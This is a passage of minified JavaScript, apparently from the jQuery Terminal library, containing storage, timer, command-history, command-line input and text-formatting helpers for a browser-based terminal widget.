vsprintf=function(fmt,argv,_argv){_argv=argv.slice(0);_argv.splice(0,0,fmt);return sprintf.apply(null,_argv)};function get_type(variable){return Object.prototype.toString.call(variable).slice(8,-1).toLowerCase()}function str_repeat(input,multiplier){for(var output=[];multiplier>0;output[--multiplier]=input){}return output.join(\"\")}ctx.sprintf=sprintf;ctx.vsprintf=vsprintf})(typeof exports!=\"undefined\"?exports:window);(function($,undefined){\"use strict\";$.omap=function(o,fn){var result={};$.each(o,function(k,v){result[k]=fn.call(o,k,v)});return result};var isLS=typeof window.localStorage!==\"undefined\";function wls(n,v){var c;if(typeof n===\"string\"&&typeof v===\"string\"){localStorage[n]=v;return true}else if(typeof n===\"object\"&&typeof v===\"undefined\"){for(c in n){if(n.hasOwnProperty(c)){localStorage[c]=n[c]}}return true}return false}function wc(n,v){var dt,e,c;dt=new Date;dt.setTime(dt.getTime()+31536e6);e=\"; expires=\"+dt.toGMTString();if(typeof n===\"string\"&&typeof v===\"string\"){document.cookie=n+\"=\"+v+e+\"; path=/\";return true}else if(typeof n===\"object\"&&typeof v===\"undefined\"){for(c in n){if(n.hasOwnProperty(c)){document.cookie=c+\"=\"+n[c]+e+\"; path=/\"}}return true}return false}function rls(n){return localStorage[n]}function rc(n){var nn,ca,i,c;nn=n+\"=\";ca=document.cookie.split(\";\");for(i=0;i<ca.length;i++){c=ca[i];while(c.charAt(0)===\" \"){c=c.substring(1,c.length)}if(c.indexOf(nn)===0){return c.substring(nn.length,c.length)}}return null}function dls(n){return delete localStorage[n]}function dc(n){return wc(n,\"\",-1)}$.extend({Storage:{set:isLS?wls:wc,get:isLS?rls:rc,remove:isLS?dls:dc}});jQuery.fn.extend({everyTime:function(interval,label,fn,times,belay){return this.each(function(){jQuery.timer.add(this,interval,label,fn,times,belay)})},oneTime:function(interval,label,fn){return this.each(function(){jQuery.timer.add(this,interval,label,fn,1)})},stopTime:function(label,fn){return this.each(function(){jQuery.timer.remove(this,label,fn)})}});jQuery.extend({timer:{guid:1,global:{},regex:/^([0-9]+)\\s*(.*s)?$/,powers:{ms:1,cs:10,ds:100,s:1e3,das:1e4,hs:1e5,ks:1e6},timeParse:function(value){if(value===undefined||value===null){return null}var result=this.regex.exec(jQuery.trim(value.toString()));if(result[2]){var num=parseInt(result[1],10);var mult=this.powers[result[2]]||1;return num*mult}else{return value}},add:function(element,interval,label,fn,times,belay){var counter=0;if(jQuery.isFunction(label)){if(!times){times=fn}fn=label;label=interval}interval=jQuery.timer.timeParse(interval);if(typeof interval!==\"number\"||isNaN(interval)||interval<=0){return}if(times&&times.constructor!==Number){belay=!!times;times=0}times=times||0;belay=belay||false;if(!element.$timers){element.$timers={}}if(!element.$timers[label]){element.$timers[label]={}}fn.$timerID=fn.$timerID||this.guid++;var handler=function(){if(belay&&handler.inProgress){return}handler.inProgress=true;if(++counter>times&&times!==0||fn.call(element,counter)===false){jQuery.timer.remove(element,label,fn)}handler.inProgress=false};handler.$timerID=fn.$timerID;if(!element.$timers[label][fn.$timerID]){element.$timers[label][fn.$timerID]=window.setInterval(handler,interval)}if(!this.global[label]){this.global[label]=[]}this.global[label].push(element)},remove:function(element,label,fn){var timers=element.$timers,ret;if(timers){if(!label){for(var lab in timers){if(timers.hasOwnProperty(lab)){this.remove(element,lab,fn)}}}else if(timers[label]){if(fn){if(fn.$timerID){window.clearInterval(timers[label][fn.$timerID]);delete timers[label][fn.$timerID]}}else{for(var _fn in timers[label]){if(timers[label].hasOwnProperty(_fn)){window.clearInterval(timers[label][_fn]);delete timers[label][_fn]}}}for(ret in timers[label]){if(timers[label].hasOwnProperty(ret)){break}}if(!ret){ret=null;delete timers[label]}}for(ret in timers){if(timers.hasOwnProperty(ret)){break}}if(!ret){element.$timers=null}}}}});if(/(msie) ([\\w.]+)/.exec(navigator.userAgent.toLowerCase())){jQuery(window).one(\"unload\",function(){var global=jQuery.timer.global;for(var label in global){if(global.hasOwnProperty(label)){var els=global[label],i=els.length;while(--i){jQuery.timer.remove(els[i],label)}}}})}(function(undef){if(!String.prototype.split.toString().match(/\\[native/)){return}var nativeSplit=String.prototype.split,compliantExecNpcg=/()??/.exec(\"\")[1]===undef,self;self=function(str,separator,limit){if(Object.prototype.toString.call(separator)!==\"[object RegExp]\"){return nativeSplit.call(str,separator,limit)}var output=[],flags=(separator.ignoreCase?\"i\":\"\")+(separator.multiline?\"m\":\"\")+(separator.extended?\"x\":\"\")+(separator.sticky?\"y\":\"\"),lastLastIndex=0,separator2,match,lastIndex,lastLength;separator=new RegExp(separator.source,flags+\"g\");str+=\"\";if(!compliantExecNpcg){separator2=new RegExp(\"^\"+separator.source+\"$(?!\\\\s)\",flags)}limit=limit===undef?-1>>>0:limit>>>0;while(match=separator.exec(str)){lastIndex=match.index+match[0].length;if(lastIndex>lastLastIndex){output.push(str.slice(lastLastIndex,match.index));if(!compliantExecNpcg&&match.length>1){match[0].replace(separator2,function(){for(var i=1;i<arguments.length-2;i++){if(arguments[i]===undef){match[i]=undef}}})}if(match.length>1&&match.index<str.length){Array.prototype.push.apply(output,match.slice(1))}lastLength=match[0].length;lastLastIndex=lastIndex;if(output.length>=limit){break}}if(separator.lastIndex===match.index){separator.lastIndex++}}if(lastLastIndex===str.length){if(lastLength||!separator.test(\"\")){output.push(\"\")}}else{output.push(str.slice(lastLastIndex))}return output.length>limit?output.slice(0,limit):output};String.prototype.split=function(separator,limit){return self(this,separator,limit)};return self})();function str_parts(str,length){var result=[];var len=str.length;if(len<length){return[str]}for(var i=0;i<len;i+=length){result.push(str.substring(i,i+length))}return result}function Cycle(init){var data=init?[init]:[];var pos=0;$.extend(this,{get:function(){return data},rotate:function(){if(data.length===1){return data[0]}else{if(pos===data.length-1){pos=0}else{++pos}return data[pos]}},length:function(){return data.length},set:function(item){for(var i=data.length;i--;){if(data[i]===item){pos=i;return}}this.append(item)},front:function(){return data[pos]},append:function(item){data.push(item)}})}function Stack(init){var data=init?[init]:[];$.extend(this,{map:function(fn){return $.map(data,fn)},size:function(){return data.length},pop:function(){if(data.length===0){return null}else{var value=data[data.length-1];data=data.slice(0,data.length-1);return value}},push:function(value){data=data.concat([value]);return value},top:function(){return data.length>0?data[data.length-1]:null}})}$.json_stringify=function(object,level){var result=\"\",i;level=level===undefined?1:level;var type=typeof object;switch(type){case\"function\":result+=object;break;case\"boolean\":result+=object?\"true\":\"false\";break;case\"object\":if(object===null){result+=\"null\"}else if(object instanceof Array){result+=\"[\";var len=object.length;for(i=0;i<len-1;++i){result+=$.json_stringify(object[i],level+1)}result+=$.json_stringify(object[len-1],level+1)+\"]\"}else{result+=\"{\";for(var property in object){if(object.hasOwnProperty(property)){result+='\"'+property+'\":'+$.json_stringify(object[property],level+1)}}result+=\"}\"}break;case\"string\":var str=object;var repl={\"\\\\\\\\\":\"\\\\\\\\\",'\"':'\\\\\"',\"/\":\"\\\\/\",\"\\\\n\":\"\\\\n\",\"\\\\r\":\"\\\\r\",\"\\\\t\":\"\\\\t\"};for(i in repl){if(repl.hasOwnProperty(i)){str=str.replace(new RegExp(i,\"g\"),repl[i])}}result+='\"'+str+'\"';break;case\"number\":result+=String(object);break}result+=level>1?\",\":\"\";if(level===1){result=result.replace(/,([\\]}])/g,\"$1\")}return result.replace(/([\\[{]),/g,\"$1\")};function History(name,size){var enabled=true;var storage_key=\"\";if(typeof name===\"string\"&&name!==\"\"){storage_key=name+\"_\"}storage_key+=\"commands\";var data=$.Storage.get(storage_key);data=data?$.parseJSON(data):[];var pos=data.length-1;$.extend(this,{append:function(item){if(enabled){if(data[data.length-1]!==item){data.push(item);if(size&&data.length>size){data=data.slice(-size)}pos=data.length-1;$.Storage.set(storage_key,$.json_stringify(data))}}},data:function(){return data},reset:function(){pos=data.length-1},last:function(){return data[length-1]},end:function(){return pos===data.length-1},position:function(){return pos},current:function(){return data[pos]},next:function(){if(pos<data.length-1){++pos}if(pos!==-1){return data[pos]}},previous:function(){var old=pos;if(pos>0){--pos}if(old!==-1){return data[pos]}},clear:function(){data=[];this.purge()},enabled:function(){return enabled},enable:function(){enabled=true},purge:function(){$.Storage.remove(storage_key)},disable:function(){enabled=false}})}$.fn.cmd=function(options){var self=this;var maybe_data=self.data(\"cmd\");if(maybe_data){return maybe_data}self.addClass(\"cmd\");self.append('<span class=\"prompt\"></span><span></span>'+'<span class=\"cursor\">&nbsp;</span><span></span>');var clip=$(\"<textarea/>\").addClass(\"clipboard\").appendTo(self);if(options.width){self.width(options.width)}var num_chars;var prompt_len;var reverse_search=false;var reverse_search_string=\"\";var reverse_search_position=null;var backup_prompt;var mask=options.mask||false;var command=\"\";var selected_text=\"\";var kill_text=\"\";var position=0;var prompt;var enabled=options.enabled;var historySize=options.historySize||60;var name,history;var cursor=self.find(\".cursor\");var animation;if(supportAnimations()){animation=function(toggle){if(toggle){cursor.addClass(\"blink\")}else{cursor.removeClass(\"blink\")}}}else{animation=function(toggle){if(toggle&&!enabled){cursor.addClass(\"inverted\");self.everyTime(500,\"blink\",blink)}else if(enabled){self.stopTime(\"blink\",blink);cursor.removeClass(\"inverted\")}}}function blink(i){cursor.toggleClass(\"inverted\")}function draw_reverse_prompt(){prompt=\"(reverse-i-search)`\"+reverse_search_string+\"': \";draw_prompt()}function clear_reverse_state(){prompt=backup_prompt;reverse_search=false;reverse_search_position=null;reverse_search_string=\"\"}function reverse_history_search(next){var history_data=history.data();var regex,save_string;var len=history_data.length;if(next&&reverse_search_position>0){len-=reverse_search_position}if(reverse_search_string.length>0){for(var j=reverse_search_string.length;j>0;j--){save_string=reverse_search_string.substring(0,j).replace(/([.*+{}\\[\\]?])/g,\"\\\\$1\");regex=new RegExp(save_string);for(var i=len;i--;){if(regex.test(history_data[i])){reverse_search_position=history_data.length-i;position=0;self.set(history_data[i],true);redraw();if(reverse_search_string.length!==j){reverse_search_string=reverse_search_string.substring(0,j);draw_reverse_prompt()}return}}}}reverse_search_string=\"\"}function change_num_chars(){var W=self.width();var w=cursor.innerWidth();num_chars=Math.floor(W/w)}function str_repeat(str,n){var result=\"\";for(var i=n;i--;){result+=str}return result}function get_splited_command_line(string){var first=string.substring(0,num_chars-prompt_len);var rest=string.substring(num_chars-prompt_len);return[first].concat(str_parts(rest,num_chars))}var redraw=function(self){var before=cursor.prev();var after=cursor.next();function draw_cursor_line(string,position){var len=string.length;if(position===len){before.html($.terminal.encode(string,true));cursor.html(\"&nbsp;\");after.html(\"\")}else if(position===0){before.html(\"\");cursor.html($.terminal.encode(string.slice(0,1),true));after.html($.terminal.encode(string.slice(1),true))}else{var before_str=$.terminal.encode(string.slice(0,position),true);before.html(before_str);var c=string.slice(position,position+1);cursor.html(c===\" \"?\"&nbsp;\":$.terminal.encode(c,true));if(position===string.length-1){after.html(\"\")}else{after.html($.terminal.encode(string.slice(position+1),true))}}}function div(string){return\"<div>\"+$.terminal.encode(string,true)+\"</div>\"}function lines_after(lines){var last_ins=after;$.each(lines,function(i,line){last_ins=$(div(line)).insertAfter(last_ins).addClass(\"clear\")})}function lines_before(lines){$.each(lines,function(i,line){before.before(div(line))})}var count=0;return function(){var string=mask?command.replace(/./g,\"*\"):command;var i,first_len;self.find(\"div\").remove();before.html(\"\");if(string.length>num_chars-prompt_len-1||string.match(/\\n/)){var array;var tabs=string.match(/\\t/g);var tabs_rm=tabs?tabs.length*3:0;if(tabs){string=string.replace(/\\t/g,\"\\x00\\x00\\x00\\x00\")}if(string.match(/\\n/)){var tmp=string.split(\"\\n\");first_len=num_chars-prompt_len-1;for(i=0;i<tmp.length-1;++i){tmp[i]+=\" \"}if(tmp[0].length>first_len){array=[tmp[0].substring(0,first_len)];array=array.concat(str_parts(tmp[0].substring(first_len),num_chars))}else{array=[tmp[0]]}for(i=1;i<tmp.length;++i){if(tmp[i].length>num_chars){array=array.concat(str_parts(tmp[i],num_chars))}else{array.push(tmp[i])}}}else{array=get_splited_command_line(string)}if(tabs){array=$.map(array,function(line){return line.replace(/\\x00\\x00\\x00\\x00/g,\"\t\")})}first_len=array[0].length;if(first_len===0&&array.length===1){}else if(position<first_len){draw_cursor_line(array[0],position);lines_after(array.slice(1))}else if(position===first_len){before.before(div(array[0]));draw_cursor_line(array[1],0);lines_after(array.slice(2))}else{var num_lines=array.length;var offset=0;if(position<first_len){draw_cursor_line(array[0],position);lines_after(array.slice(1))}else if(position===first_len){before.before(div(array[0]));draw_cursor_line(array[1],0);lines_after(array.slice(2))}else{var last=array.slice(-1)[0];var from_last=string.length-position;var last_len=last.length;var pos=0;if(from_last<=last_len){lines_before(array.slice(0,-1));pos=last_len===from_last?0:last_len-from_last;draw_cursor_line(last,pos+tabs_rm)}else{if(num_lines===3){before.before(\"<div>\"+$.terminal.encode(array[0],true)+\"</div>\");draw_cursor_line(array[1],position-first_len-1);after.after('<div class=\"clear\">'+$.terminal.encode(array[2],true)+\"</div>\")}else{var line_index;var current;pos=position;for(i=0;i<array.length;++i){var current_len=array[i].length;if(pos>current_len){pos-=current_len}else{break}}current=array[i];line_index=i;if(pos===current.length){pos=0;current=array[++line_index]}draw_cursor_line(current,pos);lines_before(array.slice(0,line_index));lines_after(array.slice(line_index+1))}}}}}else{if(string===\"\"){before.html(\"\");cursor.html(\"&nbsp;\");after.html(\"\")}else{draw_cursor_line(string,position)}}}}(self);var last_command;var draw_prompt=function(){var prompt_node=self.find(\".prompt\");function set(prompt){prompt_len=skipFormattingCount(prompt);prompt_node.html($.terminal.format($.terminal.encode(prompt)))}return function(){switch(typeof prompt){case\"string\":set(prompt);break;case\"function\":prompt(set);break}}}();function paste(){clip.focus();self.oneTime(1,function(){self.insert(clip.val());clip.blur().val(\"\")})}var first_up_history=true;function keydown_event(e){var result,pos,len;if(typeof options.keydown==\"function\"){result=options.keydown(e);if(result!==undefined){return result}}if(enabled){if(e.which!==38&&!(e.which===80&&e.ctrlKey)){first_up_history=true}if(reverse_search&&(e.which===35||e.which===36||e.which===37||e.which===38||e.which===39||e.which===40||e.which===13||e.which===27)){clear_reverse_state();draw_prompt();if(e.which===27){command=\"\"}redraw();keydown_event.call(this,e)}else if(e.altKey){if(e.which===68){self.set(command.slice(0,position)+command.slice(position).replace(/[^ ]+ |[^ ]+$/,\"\"),true);return false}return true}else if(e.keyCode===13){if(e.shiftKey){self.insert(\"\\n\")}else{if(history&&command&&!mask&&(typeof options.historyFilter==\"function\"&&options.historyFilter(command)||!options.historyFilter)){history.append(command)}var tmp=command;history.reset();self.set(\"\");if(options.commands){options.commands(tmp)}if(typeof prompt===\"function\"){draw_prompt()}}}else if(e.which===8){if(reverse_search){reverse_search_string=reverse_search_string.slice(0,-1);draw_reverse_prompt()}else{if(command!==\"\"&&position>0){command=command.slice(0,position-1)+command.slice(position,command.length);--position;redraw()}}}else if(e.which===67&&e.ctrlKey&&e.shiftKey){selected_text=getSelectedText()}else if(e.which===86&&e.ctrlKey&&e.shiftKey){if(selected_text!==\"\"){self.insert(selected_text)}}else if(e.which===9&&!(e.ctrlKey||e.altKey)){self.insert(\"\t\")}else if(e.which===46){if(command!==\"\"&&position<command.length){command=command.slice(0,position)+command.slice(position+1,command.length);redraw()}return true}else if(history&&e.which===38||e.which===80&&e.ctrlKey){if(first_up_history){last_command=command;self.set(history.current())}else{self.set(history.previous())}first_up_history=false}else if(history&&e.which===40||e.which===78&&e.ctrlKey){self.set(history.end()?last_command:history.next())}else if(e.which===37||e.which===66&&e.ctrlKey){if(e.ctrlKey&&e.which!==66){len=position-1;pos=0;if(command[len]===\" \"){--len}for(var i=len;i>0;--i){if(command[i]===\" \"&&command[i+1]!==\" \"){pos=i+1;break}else if(command[i]===\"\\n\"&&command[i+1]!==\"\\n\"){pos=i;break}}self.position(pos)}else{if(position>0){--position;redraw()}}}else if(e.which===82&&e.ctrlKey){if(reverse_search){reverse_history_search(true)}else{backup_prompt=prompt;draw_reverse_prompt();last_command=command;command=\"\";redraw();reverse_search=true}}else if(e.which==71&&e.ctrlKey){if(reverse_search){prompt=backup_prompt;draw_prompt();command=last_command;redraw();reverse_search=false;reverse_search_string=\"\"}}else if(e.which===39||e.which===70&&e.ctrlKey){if(e.ctrlKey&&e.which!==70){if(command[position]===\" \"){++position}var re=/\\S[\\n\\s]{2,}|[\\n\\s]+\\S?/;var match=command.slice(position).match(re);if(!match||match[0].match(/^\\s+$/)){position=command.length}else{if(match[0][0]!==\" \"){position+=match.index+1}else{position+=match.index+match[0].length-1;if(match[0][match[0].length-1]!==\" \"){--position}}}redraw()}else{if(position<command.length){++position;redraw()}}}else if(e.which===123){return true}else if(e.which===36){self.position(0)}else if(e.which===35){self.position(command.length)}else if(e.shiftKey&&e.which==45){paste();return true}else if(e.ctrlKey||e.metaKey){if(e.which===192){return true}if(e.metaKey){if(e.which===82){return true}else if(e.which===76){return true}}if(e.shiftKey){if(e.which===84){return true}}else{if(e.which===81){if(command!==\"\"&&position!==0){var first=command.slice(0,position);var last=command.slice(position+1);var m=first.match(/([^ ]+ *$)/);position=first.length-m[0].length;kill_text=first.slice(position);command=first.slice(0,position)+last;redraw()}return false}else if(e.which===72){if(command!==\"\"&&position>0){command=command.slice(0,--position);if(position<command.length-1){command+=command.slice(position)}redraw()}return false}else if(e.which===65){self.position(0)}else if(e.which===69){self.position(command.length)}else if(e.which===88||e.which===67||e.which===84){return true}else if(e.which===89){if(kill_text!==\"\"){self.insert(kill_text)}}else if(e.which===86){paste();return true}else if(e.which===75){if(position===0){kill_text=command;self.set(\"\")}else if(position!==command.length){kill_text=command.slice(position);self.set(command.slice(0,position))}}else if(e.which===85){if(command!==\"\"&&position!==0){kill_text=command.slice(0,position);self.set(command.slice(position,command.length));self.position(0)}}else if(e.which===17){return false}}}else{return true}return false}}var history_list=[];$.extend(self,{name:function(string){if(string!==undefined){name=string;var enabled=history&&history.enabled()||!history;history=new History(string,historySize);if(!enabled){history.disable()}return self}else{return name}},purge:function(){history.clear();return self},history:function(){return history},set:function(string,stay){if(string!==undefined){command=string;if(!stay){position=command.length}redraw();if(typeof options.onCommandChange===\"function\"){options.onCommandChange(command)}}return self},insert:function(string,stay){if(position===command.length){command+=string}else if(position===0){command=string+command}else{command=command.slice(0,position)+string+command.slice(position)}if(!stay){position+=string.length}redraw();if(typeof options.onCommandChange===\"function\"){options.onCommandChange(command)}return self},get:function(){return command},commands:function(commands){if(commands){options.commands=commands;return self}else{return commands}},destroy:function(){$(document.documentElement||window).unbind(\".cmd\");self.stopTime(\"blink\",blink);self.find(\".cursor\").next().remove().end().prev().remove().end().remove();self.find(\".prompt, .clipboard\").remove();self.removeClass(\"cmd\").removeData(\"cmd\");return self},prompt:function(user_prompt){if(user_prompt===undefined){return prompt}else{if(typeof user_prompt===\"string\"||typeof user_prompt===\"function\"){prompt=user_prompt}else{throw\"prompt must be a function or string\"}draw_prompt();redraw();return self}},kill_text:function(){return kill_text},position:function(n){if(typeof n===\"number\"){position=n<0?0:n>command.length?command.length:n;redraw();return self}else{return position}},visible:function(){var visible=self.visible;return function(){visible.apply(self,[]);redraw();draw_prompt()}}(),show:function(){var show=self.show;return function(){show.apply(self,[]);redraw();draw_prompt()}}(),resize:function(num){if(num){num_chars=num}else{change_num_chars()}redraw();return self},enable:function(){enabled=true;animation(true);return self},isenabled:function(){return enabled},disable:function(){enabled=false;animation(false);return self},mask:function(display){if(typeof display===\"boolean\"){mask=display;redraw();return self}else{return mask}}});self.name(options.name||options.prompt||\"\");prompt=options.prompt||\"> \";draw_prompt();if(options.enabled===undefined||options.enabled===true){self.enable()}var object;$(document.documentElement||window).bind(\"keypress.cmd\",function(e){var result;if(e.ctrlKey&&e.which===99){return true}if(!reverse_search&&typeof options.keypress===\"function\"){result=options.keypress(e)}if(result===undefined||result){if(enabled){if($.inArray(e.which,[38,13,0,8])>-1&&e.keyCode!==123&&!(e.which===38&&e.shiftKey)){return false}else if(!e.ctrlKey&&!(e.altKey&&e.which===100)||e.altKey){if(reverse_search){reverse_search_string+=String.fromCharCode(e.which);reverse_history_search();draw_reverse_prompt()}else{self.insert(String.fromCharCode(e.which))}return false}}}else{return result}}).bind(\"keydown.cmd\",keydown_event);self.data(\"cmd\",self);return self};function skipFormattingCount(string){return $(\"<div>\"+$.terminal.strip(string)+\"</div>\").text().length}function formattingCount(string){return string.length-skipFormattingCount(string)}function supportAnimations(){var animation=false,animationstring=\"animation\",keyframeprefix=\"\",domPrefixes=\"Webkit Moz O ms Khtml\".split(\" \"),pfx=\"\",elm=document.createElement(\"div\");if(elm.style.animationName){animation=true}if(animation===false){for(var i=0;i<domPrefixes.length;i++){if(elm.style[domPrefixes[i]+\"AnimationName\"]!==undefined){pfx=domPrefixes[i];animationstring=pfx+\"Animation\";keyframeprefix=\"-\"+pfx.toLowerCase()+\"-\";animation=true;break}}}return animation}function processCommand(string,fn){var args=string.replace(/^\\s+|\\s+$/g,\"\").split(/(\\s+)/);var rest=string.replace(/^[^\\s]+\\s*/,\"\");return{name:args[0],args:fn(rest),rest:rest}}var color_names=[\"black\",\"silver\",\"gray\",\"white\",\"maroon\",\"red\",\"purple\",\"fuchsia\",\"green\",\"lime\",\"olive\",\"yellow\",\"navy\",\"blue\",\"teal\",\"aqua\",\"aliceblue\",\"antiquewhite\",\"aqua\",\"aquamarine\",\"azure\",\"beige\",\"bisque\",\"black\",\"blanchedalmond\",\"blue\",\"blueviolet\",\"brown\",\"burlywood\",\"cadetblue\",\"chartreuse\",\"chocolate\",\"coral\",\"cornflowerblue\",\"cornsilk\",\"crimson\",\"cyan\",\"darkblue\",\"darkcyan\",\"darkgoldenrod\",\"darkgray\",\"darkgreen\",\"darkgrey\",\"darkkhaki\",\"darkmagenta\",\"darkolivegreen\",\"darkorange\",\"darkorchid\",\"darkred\",\"darksalmon\",\"darkseagreen\",\"darkslateblue\",\"darkslategray\",\"darkslategrey\",\"darkturquoise\",\"darkviolet\",\"deeppink\",\"deepskyblue\",\"dimgray\",\"dimgrey\",\"dodgerblue\",\"firebrick\",\"floralwhite\",\"forestgreen\",\"fuchsia\",\"gainsboro\",\"ghostwhite\",\"gold\",\"goldenrod\",\"gray\",\"green\",\"greenyellow\",\"grey\",\"honeydew\",\"hotpink\",\"indianred\",\"indigo\",\"ivory\",\"khaki\",\"lavender\",\"lavenderblush\",\"lawngreen\",\"lemonchiffon\",\"lightblue\",\"lightcoral\",\"lightcyan\",\"lightgoldenrodyellow\",\"lightgray\",\"lightgreen\",\"lightgrey\",\"lightpink\",\"lightsalmon\",\"lightseagreen\",\"lightskyblue\",\"lightslategray\",\"lightslategrey\",\"lightsteelblue\",\"lightyellow\",\"lime\",\"limegreen\",\"linen\",\"magenta\",\"maroon\",\"mediumaquamarine\",\"mediumblue\",\"mediumorchid\",\"mediumpurple\",\"mediumseagreen\",\"mediumslateblue\",\"mediumspringgreen\",\"mediumturquoise\",\"mediumvioletred\",\"midnightblue\",\"mintcream\",\"mistyrose\",\"moccasin\",\"navajowhite\",\"navy\",\"oldlace\",\"olive\",\"olivedrab\",\"orange\",\"orangered\",\"orchid\",\"palegoldenrod\",\"palegreen\",\"paleturquoise\",\"palevioletred\",\"papayawhip\",\"peachpuff\",\"peru\",\"pink\",\"plum\",\"powderblue\",\"purple\",\"red\",\"rosybrown\",\"royalblue\",\"saddlebrown\",\"salmon\",\"sandybrown\",\"seagreen\",\"seashell\",\"sienna\",\"silver\",\"skyblue\",\"slateblue\",\"slategray\",\"slategrey\",\"snow\",\"springgreen\",\"steelblue\",\"tan\",\"teal\",\"thistle\",\"tomato\",\"turquoise\",\"violet\",\"wheat\",\"white\",\"whitesmoke\",\"yellow\",\"yellowgreen\"];var format_split_re=/(\\[\\[[gbiuso]*;[^;]*;[^\\]]*\\](?:[^\\]]*\\\\\\][^\\]]*|[^\\]]*|[^\\[]*\\[[^\\]]*)\\]?)/i;var format_parts_re=/\\[\\[([gbiuso]*);([^;]*);([^;\\]]*);?([^;\\]]*);?([^\\]]*)\\]([^\\]]*\\\\\\][^\\]]*|[^\\]]*|[^\\[]*\\[[^\\]]*)\\]?/gi;var format_re=/\\[\\[([gbiuso]*;[^;\\]]*;[^;\\]]*(?:;|[^\\]()]*);?[^\\]]*)\\]([^\\]]*\\\\\\][^\\]]*|[^\\]]*|[^\\[]*\\[[^\\]]*)\\]?/gi;var format_full_re=/^\\[\\[([gbiuso]*;[^;\\]]*;[^;\\]]*(?:;|[^\\]()]*);?[^\\]]*)\\]([^\\]]*\\\\\\][^\\]]*|[^\\]]*|[^\\[]*\\[[^\\]]*)\\]$/gi;var color_hex_re=/^#([0-9a-f]{3}|[0-9a-f]{6})$/i;var url_re=/\\bhttps?:\\/\\/(?:(?!&[^;]+;)[^\\s\"'<>)])+\\b/g;var email_re=/((([^<>('\")[\\]\\\\.,;:\\s@\\\"]+(\\.[^<>()[\\]\\\\.,;:\\s@\\\"]+)*)|(\\\".+\\\"))@((\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\])|(([a-zA-Z\\-0-9]+\\.)+[a-zA-Z]{2,})))/g;var command_re=/('[^']*'|\"(\\\\\"|[^\"])*\"|\\/(\\\\\\/|[^\\/])+\\/[gimy]*|(\\\\ |[^ ])+|[\\w-]+)/g;var format_begin_re=/(\\[\\[[gbiuso]*;[^;]*;[^\\]]*\\])/i;var format_last_re=/\\[\\[[gbiuso]*;[^;]*;[^\\]]*\\]?$/i;$.terminal={valid_color:function(color){return color.match(color_hex_re)||$.inArray(color.toLowerCase(),color_names)!==-1},escape_regex:function(string){var special=/([\\^\\$\\[\\]\\(\\)\\+\\*\\.\\|])/g;return string.replace(special,\"\\\\$1\")},have_formatting:function(str){return str.match(format_re)},is_formatting:function(str){return str.match(format_full_re)},format_split:function(str){return str.split(format_split_re)},split_equal:function(str,length){var formatting=false;var in_text=false;var braket=0;var prev_format=\"\";var result=[];var array=str.replace(format_re,function(_,format,text){var semicolons=format.match(/;/g).length;if(semicolons==2){semicolons=\";;\"}else if(semicolons==3){semicolons=\";\"}else{semicolons=\"\"}return\"[[\"+format+semicolons+text.replace(/\\\\\\]/g,\"&#93;\").replace(/\\n/g,\"\\\\n\")+\"]\"+text+\"]\"}).split(/\\n/g);for(var i=0,len=array.length;i<len;++i){if(array[i]===\"\"){result.push(\"\");continue}var line=array[i];var first_index=0;var count=0;for(var j=0,jlen=line.length;j<jlen;++j){if(line[j]===\"[\"&&line[j+1]===\"[\"){formatting=true}else if(formatting&&line[j]===\"]\"){if(in_text){formatting=false;in_text=false}else{in_text=true}}else if(formatting&&in_text||!formatting){if(line[j]===\"&\"){var m=line.substring(j).match(/^(&[^;]+;)/);if(!m){throw\"Unclosed html entity in line \"+(i+1)+\" at char \"+(j+1)}j+=m[1].length-2;if(j===jlen-1){result.push(output_line+m[1])}continue}else if(line[j]===\"]\"&&line[j-1]===\"\\\\\"){--count}else{++count}}if(count===length||j===jlen-1){var output_line=line.substring(first_index,j+1);if(prev_format){output_line=prev_format+output_line;if(output_line.match(\"]\")){prev_format=\"\"}}first_index=j+1;count=0;var matched=output_line.match(format_re);if(matched){var last=matched[matched.length-1];if(last[last.length-1]!==\"]\"){prev_format=last.match(format_begin_re)[1];output_line+=\"]\"}else if(output_line.match(format_last_re)){var line_len=output_line.length;var f_len=line_len-last[last.length-1].length;output_line=output_line.replace(format_last_re,\"\");prev_format=last.match(format_begin_re)[1]}}result.push(output_line)}}}return result},encode:function(str,full){if(full){str=str.replace(/&(?![^=]+=)/g,\"&amp;\")}else{str=str.replace(/&(?!#[0-9]+;|[a-zA-Z]+;|[^= \"]+=[^=])/g,\"&amp;\")}return str.replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\").replace(/ /g,\"&nbsp;\").replace(/\\t/g,\"&nbsp;&nbsp;&nbsp;&nbsp;\")},format:function(str,options){var settings=$.extend({},{linksNoReferrer:false},options||{});if(typeof str===\"string\"){var splited=$.terminal.format_split(str);if(splited&&splited.length>1){str=$.map(splited,function(text){if(text===\"\"){return text}else if(text.substring(0,1)===\"[\"){return text.replace(format_parts_re,function(s,style,color,background,_class,data_text,text){if(text===\"\"){return\"\"}text=text.replace(/\\\\]/g,\"]\");var style_str=\"\";if(style.indexOf(\"b\")!==-1){style_str+=\"font-weight:bold;\"}var text_decoration=[];if(style.indexOf(\"u\")!==-1){text_decoration.push(\"underline\")}if(style.indexOf(\"s\")!==-1){text_decoration.push(\"line-through\")}if(style.indexOf(\"o\")!==-1){text_decoration.push(\"overline\")}if(text_decoration.length){style_str+=\"text-decoration:\"+text_decoration.join(\" \")+\";\"\n}if(style.indexOf(\"i\")!==-1){style_str+=\"font-style:italic;\"}if($.terminal.valid_color(color)){style_str+=\"color:\"+color+\";\";if(style.indexOf(\"g\")!==-1){style_str+=\"text-shadow:0 0 5px \"+color+\";\"}}if($.terminal.valid_color(background)){style_str+=\"background-color:\"+background}var data;if(data_text===\"\"){data=text}else{data=data_text.replace(/&#93;/g,\"]\")}var result='<span style=\"'+style_str+'\"'+(_class!==\"\"?' class=\"'+_class+'\"':\"\")+' data-text=\"'+data.replace('\"',\"&quote;\")+'\">'+text+\"</span>\";return result})}else{return\"<span>\"+text+\"</span>\"}}).join(\"\")}return $.map(str.split(/(<\\/?span[^>]*>)/g),function(string){if(!string.match(/span/)){return string.replace(url_re,function(link){var comma=link.match(/\\.$/);link=link.replace(/\\.$/,\"\");return'<a target=\"_blank\" '+(settings.linksNoReferer?' rel=\"noreferrer\" ':\"\")+'href=\"'+link+'\">'+link+\"</a>\"+(comma?\".\":\"\")}).replace(email_re,'<a href=\"mailto:$1\">$1</a>')}else{return string}}).join(\"\").replace(/<span><br\\/?><\\/span>/g,\"<br/>\")}else{return\"\"}},escape_brackets:function(string){return 